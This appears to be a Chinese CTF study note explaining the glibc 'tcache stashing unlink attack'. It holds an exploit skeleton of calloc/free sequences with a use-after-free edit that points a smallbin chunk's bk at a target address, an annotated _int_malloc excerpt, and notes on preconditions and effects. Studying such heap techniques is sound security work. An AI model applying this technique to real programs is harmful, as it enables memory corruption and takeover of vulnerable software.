tcache stashing unlink attack

[TOC] 学习时参考的博客 一篇讲原理的博客 例题博客 例题博客 例题博客 1.获得任意地址target_addr的控制权 2.在任意地址target_addr写入大数值 但是说实话这个技巧除了配合house of pig好像没有太大作用

代码

calloc(0xa0)
#让tcache中有6个0xb0的chunk
for i in range(6):
    calloc(0xa0)
    free(i)

#---------------------一般都是通过切割unsorted bin来得到smallbin的堆块-------------------
calloc(0x4b0) #9
calloc(0xb0) #10
free(9)
#此时smallbin有1个0xb0的chunk
calloc(0x400)

calloc(0x4b0) #11
calloc(0xb0)  #12
free(11)
#此时smallbin有2个0xb0的chunk
calloc(0x400) #13

edit(11,b'\x00'*0x400+p64(prev_size)+p64(size)+p64(heapbase+0xb00)+p64(target_addr-0x10))
#tcache 0xb0 :6个
#smallbin 0xb0 :bin->chunkA->chunkB chunkA的bk为target_addr-0x10
#触发tcache stashing unlink attack
calloc(0xa0)

核心

define last(b) ((b)->bk) if ((tc_victim = last (bin)) != bin) bck = tc_victim->bk; bin->bk = bck; bck->fd = bin; 任意地址上写一个较大的数(和unsortedbin attack 类似) tcache_put (tc_victim, tc_idx);

  1. 如果我们可以控制smallbin的bk,那么bck就可以为任意地址,而后它又被放到tcache中,我们可以将它再malloc出来利用
  2. bin在main_arena附近,那么bck->fd=bin实现了任意地址上写一个较大的数
  • 限制:
    • 需要UAF
    • 主要适用于只有calloc并且可以分配tcache大小的chunk的情况,对于有malloc,打tcache poison更加方便
  • 效果:
    1. 当题目中只有calloc函数,没有任何malloc函数,这个时候只能用获得任意地址target_addr的控制权。(这是因为calloc不会考虑从tcache分配)
    • 获得任意地址target_addr的控制权:在上述流程中,直接将chunk_A的bk改为target_addr - 0x10(这是因为返回给用户的是mem区域),并且保证target_addr - 0x10的bk的fd为一个可写地址(即*(target+0x8)是一个可写地址)在上述流程中,使tcache有5个堆块,smallbin有2个堆块
    1. 对于有malloc但是malloc在限制的条件下才能使用,可以用calloc先满足malloc的条件,然后用malloc打tcache poison
    • 在任意地址target_addr写入大数值:在高版本glibc下,unsorted bin attack失效后,此利用应用更为广泛。在上述流程中,需要使tcache bin中原先有6个堆块(这样的话tcache_put后,就会退出循环,把chunk返回,不会造成段错误),smallbin中有2个堆块,然后将chunk_A的bk改为target_addr-0x10即可tcache有6个堆块的目的主要是避免产生段错误

源码

static void *
_int_malloc (mstate av, size_t bytes)
{
  ...
  if (in_smallbin_range (nb))
  {
      idx = smallbin_index (nb);
      bin = bin_at (av, idx);
	 // victim是smallbin中最后一个块
      if ((victim = last (bin)) != bin)
      {
          bck = victim->bk;
          if (__glibc_unlikely (bck->fd != victim))
              malloc_printerr ("malloc(): smallbin double linked list corrupted");
          
          set_inuse_bit_at_offset (victim, nb);
          bin->bk = bck;
          bck->fd = bin;

          if (av != &main_arena)
              set_non_main_arena (victim);
          check_malloced_chunk (av, victim, nb);
#if USE_TCACHE //如果程序启用了Tcache
          // 如果smallbin中还有其他相同大小的块,则将他们存到tcache中
          size_t tc_idx = csize2tidx (nb);
          if (tcache && tc_idx < mp_.tcache_bins)
          {
              mchunkptr tc_victim;

              // 如果smallbin不为空,且tcache没满,就将smallbin中剩下的块复制进tcache去
              while (tcache->counts[tc_idx] < mp_.tcache_count
                     && (tc_victim = last (bin)) != bin)
              {
                  if (tc_victim != 0)
                  {
                      bck = tc_victim->bk;
                      set_inuse_bit_at_offset (tc_victim, nb);
                      if (av != &main_arena)
                          // 如果不是 main_arena,设置对应的标志
                          set_non_main_arena (tc_victim);
                      bin->bk = bck;
                      bck->fd = bin;
					// 将chunk放进tcache
                      tcache_put (tc_victim, tc_idx);
                  }
              }
          }
 #endif
          void *p = chunk2mem (victim);
          alloc_perturb (p, bytes);
          return p;
      }
  }
        
}

原理

  1. victim是smallbin中的最后一个块,如果最后一个块不等于bin,说明smallbin不为空。接着将victim从smallbin中摘除,最后返回给用户使用的部分就是victim+0x10(因为返回给用户的是mem)
  2. 如果启用了tcache,系统会将smallbin中剩下的块逆序放到tcache中
  3. tc_victim是 smallbin摘除掉用户请求的块之后剩下节点的最后一个节点,将tc_victim从smallbin中摘除,放入相应的 tcache链表中。